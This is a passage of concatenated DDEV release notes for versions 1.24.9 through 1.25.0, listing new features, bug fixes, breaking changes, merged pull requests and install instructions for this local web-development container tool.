• Non-interactive mode now forced in non-tty environments
• Improved container username sanitization with better fallback handling
• Fixed blackfire-php installation for older PHP versions
• Fixed bug with broken label in Mutagen volume when path to Docker socket is too long
• Fixed intermittent hang in ddev auth ssh when SSH key is password-protected
• Fixed hang in ddev start on macOS when temp directory permissions are broken after macOS upgrade (fixed in docker-compose)

Internal Improvements

• PHP 8.1 no longer preinstalled in ddev/ddev-webserver to reduce image size
• Native ARM builder now used for building DDEV Docker images, thanks to @AkibaAT
• ddev utility is now the primary command (ddev debug moved to alias)
• Healthcheck added to ddev/ddev-xhgui image
• Linux tests now run separately instead of in matrix, allowing single test restarts on failure
• Improved support for CI=true in GitHub Actions
• Vite setup documentation migrated into DDEV docs, thanks to @mandrasch for continuous support on the blog article
• Improved quickstarts code block formatting to resolve copy/paste issues in some terminals
• Added docker-buildx dependency for AUR installation
• Internet detection now uses one.one.one.one instead of test.ddev.site
• Replaced GITHUB_OWNER with DDEV_GITHUB_OWNER in https://ddev.com/install.sh
• Switched to lightweight debian-12 image for GitHub Codespaces
• Removed Gitpod configuration (service is no longer available)

Minor Updates

• PHP 8.3.27, 8.4.14, and 8.5.0 RC 3
• Docker Compose v2.40.3
• Updated quickstart for Moodle 5.1

What's Changed

• build(aur): add docker-buildx dependency by @stasadev in #7637
• docs: Merge AI instruction files AGENTS.md CLAUDE.md copilot-instructions.md, symlink, fixes #7632 [skip ci] by @rfay in #7644
• docs(faq): remove traefik config when changing project's name, for #7638 by @ara303 in #7639
• chore(deps): update vendor to current, fixes #7624 by @rfay in #7643
• fix(upsun): upsun should resume paused environment at start [skip buildkite] by @rfay in #7650
• feat(docker): auto HTTP/S communication via network aliases instead of external_links by @stasadev in #7642
• test: fix TestNetworkAliases, fixes #7657 by @stasadev in #7658
• feat: enhance PHP addon environment with DockerEnv() integration by @rfay in #7651
• test(buildkite): group log output by --- RUN by @rfay in #7645
• feat: Update AGENTS.md to reference organization-wide patterns by @rfay in #7659
• fix(cakephp): do not override APP_DEFAULT_LOCALE by @tyler36 in #7653
• fix(hack-postgres): hack postgres client since postgresql-client:18 is misbehaving, for #7661 by @rfay in #7663
• fix(postgres): uninstall postgresql-client with its dependencies, for #7663 by @stasadev in #7665
• docs: platform.sh->upsun name changes, fixes #7654 by @rfay in #7673
• feat(warnings): Allow silencing warnings about custom config files, for #7638 by @rfay in #7660
• feat(test-ddev): add more distro info and default shell to ddev debug test by @rfay in #7666
• feat(postgres): Support postgres:18, fixes #7661 by @rfay in #7662
• feat: add ddev add-on search subcommand, fixes #7491 by @AkibaAT in #7554
• feat(db): remove the hardcoded --server-id=0 parameter from MySQL startup, fixes #6768 by @cyppe in #7608
• chore(buildkite): add DDEV_GITHUB_TOKEN for DDEV_RUN_GET_TESTS and don't run tests on skip by @stasadev in #7680
• build(image): use native arm builder for building docker images, fixes #7539 by @AkibaAT in #7553
• fix(postgres): normalize path on Windows, fixes #7679 by @stasadev in #7682
• feat: update ddev debug test to emphasize global ddev dir [skip ci] by @rfay in #7684
• feat: use 'ddev utility' instead of 'ddev debug', fixes #7683 by @rfay in #7685
• docs(moodle): update moodle quickstart to have composer_root in root, fixes #7692 [skip buildkite] by @rfay in #7693
• fix: disable .env parsing for docker-compose pull, fixes #7671 by @stasadev in #7687
• chore: remove contributors.yml and use latest golangci-lint by @rfay in #7699
• fix: don't use GITHUB_OWNER variable for install_ddev.sh, fixes ddev/github-action-setup-ddev#54 by @stasadev in #7695
• fix: show if DDEV_GITHUB_TOKEN was used in download requests, add DDEV_GLOBAL_DIR env, skip add-on tests without token, fixes #7641 by @rfay in #7686
• fix: start container only after attach in ddev auth ssh, fixes #7664 by @stasadev in #7681
• feat(dockercheck): improve ddev ut dockercheck, fixes #7672 by @rfay in #7690
• fix: improve MOTD and sponsorship message controls, fixes #7468, fixes #7676, fixes #6918 by @rfay in #7691
• fix: ddev debug test shouldn't leave dead ddev-utilities containers [skip ci] by @rfay in #7701
• refactor(add-ons): exclude archived repositories by @stasadev in #7705
• test: npmjs.com no longer allows unchallenged curl [skip buildkite] by @rfay in #7706
• docs(macos): bump system requirements by @stasadev in #7729
• fix(codespaces): use lightweight debian-12 image, for #7294 [skip buildkite] by @stasadev in #7713
• fix(github): retry without auth on invalid GitHub token, fixes #7641 by @stasadev in #7717
• fix(mutagen): use fixed length for com.ddev.volume-signature label, fixes #7710 by @stasadev in #7712
• docs: add commands for preparing DDEV to work offline by @stasadev in #7726
• docs: fix a little custom command annotations code example by @TravisCarden in #7711
• feat(heidisql): allow postgres connections, fixes #7675 by @raphaelportmann in #7677
• docs: explicitly mention setting system managed nvm version, for #6013 by @JshGrn in #7733
• refactor: remove Gitpod configuration and build infrastructure by @rfay in #7716
• test: try to make TestMutagenSimple slightly more reliable by @rfay in #7732
• feat(debug): show web/db container logs on error by @stasadev in #7736
• feat(xdebug): add xdebug_info() to ddev xdebug info, fixes #7715 by @rfay in #7721
• refactor: move util.GetContainerUIDGid to dockerutil.GetContainerUser by @stasadev in #7734
• refactor: simplify db volume chown, use WarningOnce by @stasadev in #7735
• fix: don't output debug or verbose in middle of doing json by @rfay in #7739
• feat(projectname): Allow defaulting to not setting name in config.yaml, fixes #7648 by @rfay in #7719
• ci(github-runner): use jlumbroso/free-disk-space action for cleanup by @stasadev in #7744
• docs: Update postgres:18 in configuration documentation by @rfay in #7748
• style: add dark mode support for images/ddev-logo.svg by @stasadev in #7752
• fix: Add healthcheck to xhgui image to resolve TestCmdXhgui intermittent failures by @rfay in #7745
• ci: run Linux tests separately, not in matrix by @stasadev in #7746
• feat(debug): show logs on error for all containers, for #7736 by @stasadev in #7751
• test: Fix TestConfigValidate for TYPO3 [skip buildkite] by @rfay in #7750
• feat: enable non-interactive mode for CI or non-tty environments by @stasadev in #7743
• test(apache-fpm): don't run tests with TYPO3, for #7750 by @stasadev in #7755
• ci: sort golang imports by @stasadev in #7756
• ci(pull-push-providers): don't load 1Password secrets if env is empty by @stasadev in #7757
• build(deps): bump actions/upload-artifact from 4 to 5 [skip buildkite] by @dependabot[bot] in #7767
• chore(provider): remove trailing whitespace in YAML files by @RobLoach in #7770
• feat: use composer_root in cakephp, craftcms, laravel, magento2, shopware6, symfony for app type detection by @vanWittlaer in #7558
• docs(docker-compose): improve mkcert install, how to add container user, fixes #7709 by @stasadev in #7769
• docs: remove duplicate TYPO3 quickstart tab, fixes #7763 [skip buildkite] by @rfay in #7764
• feat(describe): add ability to add custom info per service, fixes #5469 by @rfay in #7723
• docs: migrate Vite Setup documentation into DDEV docs, fixes #7466 by @Copilot in #7625
• feat(upsun): use existing config instead of requiring environment variables [skip buildkite] by @rfay in #7753
• docs(quickstart): Improve quickstarts to resolve problems with copy/paste by @rfay in #7765
• fix: improve username sanitization and add fallback handling, fixes #7738 by @rfay in #7742
• feat(diagnose): ddev utility diagnose feature, fixes #6461 by @rfay in #7720
• docs: ignore drupal.org link 403'd by drupal [skip buildkite] by @rfay in #7772
• feat: add initial partial php8.5 support by @rfay in #7697
• fix: use one.one.one.one to detect internet working by @rfay in #7771
• test: use testcommon.CopyGlobalDdevDir to fix intermittent failures in TestCmdXHGui by @rfay in #7761
• fix(debug): display offline warning only on ddev start, for #7771 by @stasadev in #7774
• fix(postgres): run as container user instead of uid 999 by @stasadev in #7766
• feat: Add pre-share and post-share hooks, fixes #4962 by @Copilot in #7777
• fix: add blackfire-php reconfiguration for older PHP versions, fixes ddev/ddev-platformsh#142 by @stasadev in #7778
• fix(describe): show service info when project is stopped, fixes #7159 by @stasadev in #7768
• build: bump docker-compose to v2.40.3, for #7678 by @stasadev in #7779
• docs: add crosslink for shortened DDEV env variables to full list, fixes #7781 by @garvinhicking in #7782
• test(quickstart): add disk cleanup before running tests by @stasadev in #7783
• build(docker): bump images to v1.24.9 for release by @stasadev in #7780
• docs(sponsor-banner): add link to sustainability article by @stasadev in #7788
• fix(self-upgrade): add docs for updating ddev package only, fixes #7785 by @stasadev in #7787
• docs(commands): organize utility commands in alphabetical order, for #7685 by @stasadev in #7789
• feat: add user flag for ssh/exec/hooks and x-ddev.ssh-shell for ssh, fixes #7339 by @stasadev in #7786

New Contributors

• @ara303 made their first contribution in #7639
• @raphaelportmann made their first contribution in #7677
• @JshGrn made their first contribution in #7733

Full Changelog: v1.24.8...v1.24.9

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the ddev_windows_amd64_installer.v1.24.10.exe; you can run it for install or upgrade.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

⚠️ Docker Compose requires newer Docker Buildx on Linux

Error: compose build requires buildx 0.17 or later

This is caused by upstream change.

Solution: Upgrade Docker using https://docs.docker.com/engine/install/

Note

This is a bugfix release. A regression in v1.24.9 prevented DDEV from updating the /etc/hosts file in CI environments (e.g., GitHub Actions) when using custom project TLDs:

• v1.24.10 reverts the change "Non-interactive mode now forced in non-tty environments"

Highlights

• Support for PHP 8.5.0 RC 3 (note: some extensions are not yet available: apcu, imagick, memcached, redis, uploadprogress, xdebug, xhprof, xmlrpc, yaml)
• Support for PostgreSQL 18
• Automatic HTTP/S communication between DDEV projects - no need to manually configure external_links
• Option to omit project names in .ddev/config.yaml by default with ddev config global --omit-project-name-by-default=true - useful when working with multiple Git worktrees
• Auto-discovery of PLATFORM_PROJECT and PLATFORM_ENVIRONMENT from existing config for Upsun Flex and Upsun Fixed (Platform.sh) provider integrations

Features

• New ddev utility diagnose command for quick diagnostics on your DDEV installation and current project
• New ddev add-on search command, thanks to @AkibaAT
• New ddev xdebug info command to display xdebug_info() output
• Customize ddev describe output using the x-ddev.describe-* extensions - useful for add-ons
• Change ddev ssh shell using the x-ddev.ssh-shell extension - useful for add-ons
• New --user/-u flag for ddev exec and ddev ssh
• exec hooks now support the user field
• New pre-share and post-share hooks. This can help change the required URL for ddev share in CMSs like WordPress and Magento2.
• PostgreSQL connection support in ddev heidisql, thanks to @raphaelportmann
• Show failed container logs on project start by running DDEV_DEBUG=true ddev start
• Enhanced composer_root support for app type detection in CakePHP, Craft CMS, Laravel, Magento 2, Shopware 6, and Symfony, thanks to @vanWittlaer for initial PR for Shopware 6
• Silence warnings about custom configuration files in the .ddev directory by adding #ddev-silent-no-warn to the file. Documentation

Bug Fixes

• PostgreSQL now runs as container user (mirrored from host user) instead of postgres:postgres
• ddev describe now works with stopped or broken containers
• Improved support for DDEV_* environment variables in PHP-based add-ons
• APP_DEFAULT_LOCALE is no longer overridden in CakePHP, thanks to @tyler36
• Removed hardcoded --server-id=0 parameter from MySQL/MariaDB startup, thanks to @cyppe
• Fixed docker-compose warnings on ddev start when project root .env file contains dollar signs
• ddev add-on get now retries without authentication on invalid GitHub token
• Debug and verbose output now suppressed when using --json-output/-j flag
• Improved container username sanitization with better fallback handling
• Fixed blackfire-php installation for older PHP versions
• Fixed bug with broken label in Mutagen volume when path to Docker socket is too long
• Fixed intermittent hang in ddev auth ssh when SSH key is password-protected
• Fixed hang in ddev start on macOS when temp directory permissions are broken after macOS upgrade (fixed in docker-compose)

Internal Improvements

• PHP 8.1 no longer preinstalled in ddev/ddev-webserver to reduce image size
• Native ARM builder now used for building DDEV Docker images, thanks to @AkibaAT
• ddev utility is now the primary command (ddev debug moved to alias)
• Healthcheck added to ddev/ddev-xhgui image
• Linux tests now run separately instead of in matrix, allowing single test restarts on failure
• Improved support for CI=true in GitHub Actions
• Vite setup documentation migrated into DDEV docs, thanks to @mandrasch for continuous support on the blog article
• Improved quickstarts code block formatting to resolve copy/paste issues in some terminals
• Added docker-buildx dependency for AUR installation
• Internet detection now uses one.one.one.one instead of test.ddev.site
• Replaced GITHUB_OWNER with DDEV_GITHUB_OWNER in https://ddev.com/install.sh
• Switched to lightweight debian-12 image for GitHub Codespaces
• Removed Gitpod configuration (service is no longer available)

Minor Updates

• PHP 8.3.27, 8.4.14, and 8.5.0 RC 3
• Docker Compose v2.40.3
• Updated quickstart for Moodle 5.1

What's Changed

• fix: make install_ddev_head.sh install all binaries [skip ci] by @stasadev in #7794
• fix: write download result to stderr for docker-compose and mutagen [skip ci] by @stasadev in #7792
• fix: don't assume non-interactive mode for CI=true or non-tty, fixes #7790 by @stasadev in #7791
• build(docker): bump images to v1.24.10 for release by @stasadev in #7793
• build: add mkcert to artifacts, for #7794 by @stasadev in #7796

Full Changelog: v1.24.9...v1.24.10

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the Windows Installer; you can run it for install or upgrade. winget install --interactive ddev works too.
  ⚠️ Traditional Windows users (not WSL2): If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

Highlights

New defaults

• Debian Trixie is now the base image for ddev-webserver and ddev-ssh-agent (replacing Debian Bookworm). See Issues to be aware of for Trixie.
  (Some projects with complex Dockerfiles or obsolete webimage_extra_packages may need to be updated.)
• XHGui is now the default profiler (prepend mode remains available via ddev config global --xhprof-mode=prepend).
• Node.js v24 is default in new projects (replacing Node.js v22)
• PHP 8.4 is default in new projects (replacing PHP 8.3)
• MariaDB 11.8 is default in new projects (replacing MariaDB 10.11)

Additional highlights

• Completely revised Windows installer now uses per-user installation for WSL2 or traditional Windows (no admin account required)
• Reworked configurable ddev share command with a new cloudflared share provider, see new docs and blog
• Add ddev utility xdebug-diagnose command, see Xdebug in DDEV: Understanding, Debugging, and Troubleshooting Step Debugging
• Add ddev utility mutagen-diagnose command, see Mutagen in DDEV: Functionality, Issues, and Debugging
• ddev pantheon pull got new DDEV_PANTHEON_SITE, DDEV_PANTHEON_ENVIRONMENT, DDEV_USE_PANTHEON_BACKUP variables, see updated Pantheon Integration
• ddev snapshot now uses zstd instead of gzip for significantly faster exports and restores, thanks to @deviantintegral
• Add CodeIgniter project type, thanks to @Franky5831
• Experimental support for Podman and Docker Rootless, see Podman and Docker Rootless in DDEV
• ddev-frankenphp is an official add-on with many improvements, see updated Using FrankenPHP with DDEV

Features

• New Wagtail (Python, Generic) quickstart
• Added Drupal 12 project type (development branch). Drupal 12 has not yet been released, but it's showing up in developer builds already.
• New --no-cache flag for ddev start and ddev restart (as an alternative to ddev utility rebuild)
• Improved support for non-Codespaces devcontainers
• Refactored ddev add-on subcommands with a fallback mechanism to avoid GitHub API rate limits
• Much faster ddev add-on list and ddev add-on search
• Shell autocompletion for ddev add-on get <TAB>
• SELinux enviroment detection (auto SELinux label for bind mounts)
• Support for additional SSH config files (*.conf) in .ddev/homeadditions/.ssh/config.d (global or project-level), see SSH confugation, thanks to @codebymikey
• More portable database collations. Databases imported and exported from newer MySQL and MariaDB are less likely to have problems with proprietary collations like utf8mb4_0900_ai_ci and utf8mb4_uca1400_ai_ci as they use more traditional collations in DDEV.
• DBeaver support for traditional Windows, thanks to @ddubau

Traefik Router Features, Fixes, and Breaking Changes

• Project Traefik configuration is now standardized to a single file: .ddev/traefik/config/<projectname>.yaml (all other files are ignored). See issue #8047.
• Add any global Traefik configuration inside the $HOME/.ddev/traefik/custom-global-config/ directory
• Removed defaultRuleSyntax: v2 and ruleSyntax: v3 from Traefik configs. Traefik v3 syntax is now used by default.
• Traefik configuration errors now show warnings instead of failing hard
• Improved Traefik health checks for more reliable router verification
• Prevent unnecessary router recreation when bound ports are unchanged
• ddev-router is no longer stopped automatically when the last project is stopped, use ddev poweroff to fully stop the router
• Traefik monitoring port is now bound to localhost only, thanks to @JUVOJustin
• Paused or stopped projects are excluded from Traefik configuration
• Bypass router port checks when all ports appear busy (for example, when endpoint security software intercepts localhost traffic)

Breaking Changes / Removals

• Default xhprof_mode changed from "prepend" to "xhgui" but you can easily change it back
• Removed ddev utility capabilities, use ddev_version_constraint instead in add-ons.
• Removed NFS support, use Mutagen
• Removed ddev service, custom services can be installed/uninstalled via ddev add-on
• Removed ddev nvm, install the ddev-nvm add-on if needed
• Removed obsolete or non-functional commands and command aliases:
  • ddev restore-snapshot
  • ddev auth pantheon
  • ddev config pantheon
• Removed obsolete ddev config flags:
  • --mutagen-enabled (use --performance-mode=mutagen)
  • --upload-dir (use --upload-dirs)
  • --db-image, --db-image-default (never documented or used)
• Removed deprecated ddev config flag aliases:
  • --http-port → --router-http-port
  • --https-port → --router-https-port
  • --mailhog-port → --mailpit-http-port
  • --mailhog-https-port → --mailpit-https-port
  • --projectname → --project-name
  • --projecttype, --apptype → --project-type
  • --sitename → --project-name
  • --image-defaults → --web-image-default
• Removed nginx.org repository from ddev-webserver, now using nginx from the Debian Trixie repository
• Migrated all APT repositories in ddev-webserver from legacy *.list files to *.sources (deb822) format

Bug Fixes

• Fixed ddev heidisql support for multiple databases
• Fixed PostgreSQL builds when overriding the database username
• Fixed Windows installer behavior on non-English Windows locales
• Improved Bash detection for non-admin Windows installations
• Fixed host.docker.internal IP detection for WSL2 mirrored mode with virtual adapters present
• Fixed conflicts between HostWorkingDir and WebWorkingDir affecting ddev npm, thanks to @crowjake
• Fixed support for PKCS#8 keys in ddev auth ssh
• Fixed ddev snapshot command for postgres:9
• Create Docker volumes only for the configured database type
• Fixed ddev xdebug, ddev xhprof, and ddev blackfire handlers for the ddev-frankenphp add-on
• Fixed ddev snapshot failure when run immediately after ddev snapshot restore
• Always show the correct project name in ddev mutagen st, thanks to @agviu
• Warn about non-persistent changes when using ddev composer self-update and ddev composer global
• Added support for COMPOSER_NO_SECURITY_BLOCKING=1 in ddev composer
• Run post-create-project-cmd for plugin events in ddev composer create-project
• Improved log-stderr.sh reporting during ddev start
• Skip poweroff prompts when containers are already stopped during version upgrades
• Fixed database port type in TYPO3 settings, thanks to @BreathCodeFlow
• Detect and warn about multiple global config directories during ddev start

Minor Updates

• PHP 8.3.30, 8.4.17, and 8.5.2
• Docker Compose v5.0.2
• Updated Generic webserver quickstart
• Add APP_FULL_BASE_URL for CakePHP, thanks to @ajibarra
• Updated Lagoon provider instructions with sync configuration, thanks to @froboy
• Added Cloudflare WARP networking instructions, thanks to @lguigo22
• Updated Ibexa DXP installation steps, thanks to @adriendupuis
• Added troubleshooting guidance for endpoint security interfering with Xdebug, thanks to @joelpittet
• Replaced github.com/docker/docker with github.com/moby/moby/client and github.com/moby/moby/api

What's Changed

• test: Allow overriding ignore expiring keys [skip buildkite] by @rfay in #7803
• test: Improve TestHasConfigNameOverride so it doesn't leave projects after completion, fixes #7797 by @rfay in #7798
• test: don't check for expiring keys in forks, for #7803 by @stasadev in #7831
• build(deps): bump golangci/golangci-lint-action from 8 to 9 by @dependabot[bot] in #7832
• fix(heidisql): use --databases flag only when needed, fixes #7829 by @stasadev in #7830
• docs: add missing dot in .ddev/.env.* by @yanniboi in #7828
• fix(postgres): use placeholder for username, fixes #7820 by @stasadev in #7827
• docs: remove community examples link in documentation by @weitzman in #7834
• refactor: improve ddev auth ssh readability and reuse cmd in tests by @stasadev in #7816
• test(quickstart): check for new FrankenPHP headers by @stasadev in #7836
• docs: Update Docker connection failure explanations with more on docker context ls by @rfay in #7833
• chore(images): Remove image build for ddev-nginx-proxy-router by @rfay in #7818
• chore: Remove ddev utility capabilities command completely, fixes #7174 by @Copilot in #7814
• build: fix getopt detection on macOS by @deviantintegral in #7846
• docs: Add Claude Code for Web environment configuration guide [skip ci] by @rfay in #7838
• chore(traefik): Remove redundant Traefik rule syntax configuration, fixes #7822 by @rfay in #7823
• chore: Remove NFS support for v1.25.0, remove unused CircleCI config, fixes #7810 by @Copilot in #7811
• build: use debian:trixie as base for ddev-webserver by @rfay in #7649
• fix(heidisql): add default --databases=db to postgres, for #7830 by @raphaelportmann in #7847
• test(timezone): Windows may show 'Universal' instead of UTC by @rfay in #7848
• build(deps): bump docker to v29 by @stasadev in #7835
• test(share): Fix TestShareCmd to handle non-string types in JSON logs by @Copilot in #7851
• fix: remove trailing comma from schema.json by @stasadev in #7850
• fix: Disable 64-bit file system redirection in Windows installer Section to access wsl.exe by @rfay in #7839
• test(typo3): Fix Apache version of TYPO3 TestDdevFullSiteSetup and untarring symlinks, fixes #7754, fixes #6972 by @rfay in #7817
• test(pantheon): fix TestPantheonPush, which was broken by composer 2.9 [skip buildkite] by @rfay in #7854
• test: Add CI tests for ddev-hostname with passwordless sudo, fixes #7795 [skip buildkite] by @Copilot in #7855
• test: prevent panic in TestDownloadAndExtractTarball when cleanup is nil, fixes #7652 by @Copilot in #7857
• chore: Change xhprof_mode default from prepend to xhgui, fixes #7808 by @Copilot in #7809
• docs: clarify instructions for disabling mutagen on a single project by @q0rban in #7861
• test: Can't do ddev-hostname on WSL2 by @rfay in #7860
• test: default key expiration 90 days, for #7831 [skip ci] by @stasadev in #7873
• chore(nodejs): Change default nodejs_version for new projects to 24, fixes #7819 by @rfay in #7821
• ci(golangci-lint): add import-shadowing check by @stasadev in #7865
• test: stop project after addon tests that create docker-compose services, for #7607 by @Copilot in #7858
• docs(fritzbox): Update FritzBox references and point to new blog by @rfay in #7867
• chore: Remove ddev service command, fixes #7812 by @Copilot in #7813
• chore(deprecation): remove ddev nvm functionality in v1.25.0 by @rfay in #7826
• fix(quickstart): temporarily install Composer from snapshot for 2.9 compatibility by @stasadev in #7864
• docs(xdebug): Add details on how to repair WSL2 networking by @rfay in #7879
• docs: fix MD060 table column style errors for markdownlint v0.37+ [skip buildkite] by @rfay in #7882
• test(quickstart): pin Composer to 2.8.12 for Magento 2 by @stasadev in #7883
• test(wsl-mirrored): Skip TestGetLocalHTTPResponse on WSL2 mirrored by @rfay in #7884
• feat: Change default PHP version to 8.4, fixes #7874 by @Copilot in #7875
• chore(composer): remove --snapshot workaround, for #7864 by @stasadev in #7887
• test(quickstart): fix Backdrop, FrankenPHP, Grav by @stasadev in #7886
• fix: Add gpgv, configure APT, convert sources to deb822 (except mariadb), update script references, and add audit tests to prevent SHA1 key trust failures in February 2026, fixes #7849 by @Copilot in #7877
• test(windows): make sure we have a clean install distro by @rfay in #7891
• docs: stop recommending Stack Overflow by @rfay in #7895
• test(quickstart): fix frankenphp build by @stasadev in #7889
• docs: update TYPO3 link by @stasadev in #7898
• build(curl): use trixie-backports to install newer curl by @stasadev in #7897
• fix(xdebug): Use a more sophisticated search for windows host ip address on WSL mirrored mode by @rfay in #7880
• test(typo3): Fix TYPO3 quickstart, failing since TYPO3 v14.0.0 released by @rfay in #7901
• fix: db port should be integer in generated TYPO3 AdditionalConfiguration.php, fixes #7892 by @BreathCodeFlow in #7893
• test(quickstart): php8.3 for silverstripe and symfony, disable typo3 v13 by @stasadev in #7909
• fix(commands): make HostWorkingDir respect WebWorkingDir by @crowjake in #7907
• build(docker): add more php8.5 packages by @stasadev in #7908
• test(add-on): replace redis-commander with redis-insight by @stasadev in #7911
• chore(deprecation): update default MariaDB version to 11.8 for new projects, for #6861 by @rfay in #7824
• build(mkdocs): bump actions/setup-python from 6.0.0 to 6.1.0, pin click to 8.2.1 by @dependabot[bot] in #7913
• fix: check for multiple global config dirs on ddev start and improve usage for ~/.ddev in the docs, fixes #7582 by @rfay in #7859
• test(quickstart): remove version pins from Magento 2, Silverstripe, Symfony, TYPO3, fixes #7905 by @stasadev in #7914
• fix: remove unnecessary debug output when probing for TYPO3 project type, fixes #7890 by @Copilot in #7918
• test(windows): stop uninstalling as it leads to intermittent problems by @rfay in #7916
• fix: Windows installer refuses to install on wrong architecture, fixes #7524, fixes #7900 by @Copilot in #7910
• feat(pantheon): address Pantheon hosting provider issues, fixes #7730, fixes #7655 by @rfay in #7837
• fix(collation): Use more portable default collations for mysql8.x and mariadb11.x by @rfay in #7906
• feat: Warn WSL2 users with project on Windows filesystem, fixes #7888 by @Copilot in #7917
• fix(diagnose): Remove the hard-coded IP "127.0.0.1" from the DNS check, since it may be incorrect, fixes #7871 by @grummbeer in #7872
• docs: update instructions for maintainers by @stasadev in #7924
• chore(debug): Migrate ddev debug statements to ddev utility statements by @rfay in #7925
• fix: Remove obsolete config syntax and commands for v1.25.0, fixes #7825 by @Copilot in #7919
• build(php): install php8.5-xdebug (amd64/arm64), php7.0-7.3-redis (arm64), php8.5-memcached (amd64) by @stasadev in #7928
• feat: add Podman rootless/rootful and Docker rootless support, fixes #2276, fixes #2899 by @stasadev in #7702
• docs: Fix link to globalsign safenet drivers by @rfay in #7932
• fix: use correct condition for host ports, fixes #7920 by @stasadev in #7922
• fix(ddev-ssh-agent): Update ddev-ssh-agent to base on Trixie and accept PKCS8 RSA keys, fixes #4802 by @rfay in #7933
• fix(docker): support SELinux shared label, fixes #7196 by @stasadev in #7939
• build(deps): bump actions/cache from 4 to 5 by @dependabot[bot] in #7944
• build(deps): bump actions/upload-artifact from 5 to 6 by @dependabot[bot] in #7943
• fix: convert Windows installer to per-user installation, fixes #7776 by @rfay in #7931
• feat: support using zstd for snapshots, fix postgres:9 snapshot, fixes #7844, fixes #3583 by @deviantintegral in #7845
• fix: only create volume for configured db type, add project label by @stasadev in #7937
• feat: restart supervisor for generic webserver and blackfire, xdebug, xhprof, fixes #7941, for ddev/ddev-frankenphp#44 by @stasadev in #7945
• fix(router): ensure Traefik dashboard port is always bound to localhost by @JUVOJustin in #7942
• fix: fail on ddev start for docker-rootless w/o no-bind-mounts, don't test with latest rootless by @stasadev in #7952
• fix: remove stale target files in getBackupCommand to prevent "Is a directory" errors, fixes #7936 by @Copilot in #7938
• fix(windows): Change FindBashPath to detect user-local Git Bash installations on Windows, fixes #7948 by @Copilot in #7949
• test(lima): force limactl stop [skip ci] by @rfay in #7957
• docs(ssh): Explain what to do when remote host identification has changed, fixes #7946 by @rfay in #7956
• feat(share): Rework ddev share, add cloudflared share provider, enhance tests, fixes #7784, fixes #6441 by @rfay in #7802
• docs(codespaces): persist global config on codespaces, fixes #6228 [skip ci] by @rfay in #7958
• test(buildkite): Make sure to clean up global traefik dir [skip ci] by @rfay in #7965
• test(windows): Fix timing bug in TestWindowsInstallerWSL2 polling loop by @rfay in #7964
• test(share): fix TestShareCmdProviderSystem/ProviderArgsFlag assertion, fixes #7959 by @rfay in #7960
• test: Stop using old version of memcached to prevent output about docker-compose version tag [skip ci] by @rfay in #7973
• fix(platform): Resume environment if not running by @rfay in #7972
• build(deps): install tzdata-legacy for Debian 13 Trixie by @stasadev in #7971
• fix: show correct project name in ddev mutagen st, fixes #7969 by @stasadev in #7970
• test(buildkite): Use colima stop -f to force stop [skip ci] by @rfay in #7977
• docs: add cloudflare warp networking instructions by @lguigo22 in #7975
• docs: lima template creation for users [skip buildkite] by @rfay in #7985
• docs(developer): Update template syntax for lima in developer docs by @rfay in #7984
• test: show ddev version at start of tests by @rfay in #7983
• fix(traefik): Convert Traefik configuration errors to warnings instead of failures by @Copilot in #7967
• fix(test): Force TestDownloadFileRetryLogic to work even if DDEV_DEBUG wasn't set [skip ci] by @rfay in #7986
• refactor: systematize #ddev-generated signature checking by @rfay in #7982
• feat: Add ddev utility mutagen-diagnose command for Mutagen troubleshooting, fixes #7740 by @rfay in #7988
• fix(router): Improve Traefik healthcheck for better router verification by @Copilot in #7981
• test(buildkite): Clean up lima and colima containers at start by @rfay in #8006
• test(github): Allow skipping github tests with [skip github] by @rfay in #8007
• fix(router): Prevent unnecessary router re-creation when bound ports unchanged, fixes #6703 by @Copilot in #7992
• fix(composer): warn that global and self-update changes don't persist, use stable for empty composer_version, fixes #7993 by @stasadev in #7995
• feat: add --no-cache flag for ddev start and ddev restart by @stasadev in #7999
• fix(router): healthcheck after new config must happen as normal user by @rfay in #8010
• test(traefik): improve reliability of traefik.bats router API tests by @rfay in #8013
• docs: separate CLAUDE.md from AGENTS.md with focused content by @shaal in #8011
• feat: include additional ssh config files by @codebymikey in #8008
• fix(tests): make GitHub release downloads more resilient [skip buildkite] by @rfay in #8015
• chore(codespaces): Use newer test project for codespaces, fixes #8017 by @rfay in #8022
• docs: Update Ibexa DXP install by @adriendupuis in #8021
• test: Disable long-running tests when GOTEST_SHORT is set, fixes #8026 by @rfay in #8028
• build(docker-compose): Bump docker-compose to v5.0.1 before release by @rfay in #8031
• test(docker): Add Docker CE container cleanup for WSL instances, fixes #8029 by @Copilot in #8030
• fix: prevent panic during ddev poweroff or use of container.Names[0], fixes #8024 by @Copilot in #8027
• docs(xdebug): Add step-debugging.md endpoint security notes by @joelpittet in #8002
• feat(codeigniter): add CodeIgniter 4 app type, fixes #7303 by @Franky5831 in #7853
• fix(composer): run post-create-project-cmd for plugin events by @stasadev in #8039
• fix: sort web_extra_exposed_ports for router port matching in generic webserver, fixes #7640 by @stasadev in #8040
• feat(xdebug-diagnose): Add ddev utility xdebug-diagnose command with interactive mode and WSL2 support by @Copilot in #8004
• fix: exclude paused/stopped projects from router's Traefik configuration by @rfay in #7961
• test(quickstart): fix TYPO3 v14 test [skip ci] by @stasadev in #8044
• fix(pause): resolve race condition in app.Pause() causing intermittent test failures by @rfay in #8043
• feat(devcontainer): Add more explicit support for non-codespaces devcontainer, for #7294, for #7876, fixes #8018 by @rfay in #8032
• fix: pull all app images at once, initialize XHGui ports and mode if empty, fixes #8023 by @stasadev in #8046
• fix(webserver): better log-stderr.sh reporting, remove trixie-backports by @stasadev in #8042
• build(deps): bump go.mod and docker-compose to v5.0.2 by @stasadev in #8045
• test(quickstart): add Wagtail (Django) Python, remove FrankenPHP by @stasadev in #8049
• fix(cakephp): add new variable APP_FULL_BASE_URL to .env file by @ajibarra in #8048
• fix(poweroff): Skip poweroff prompt when containers already stopped during version upgrade by @Copilot in #8052
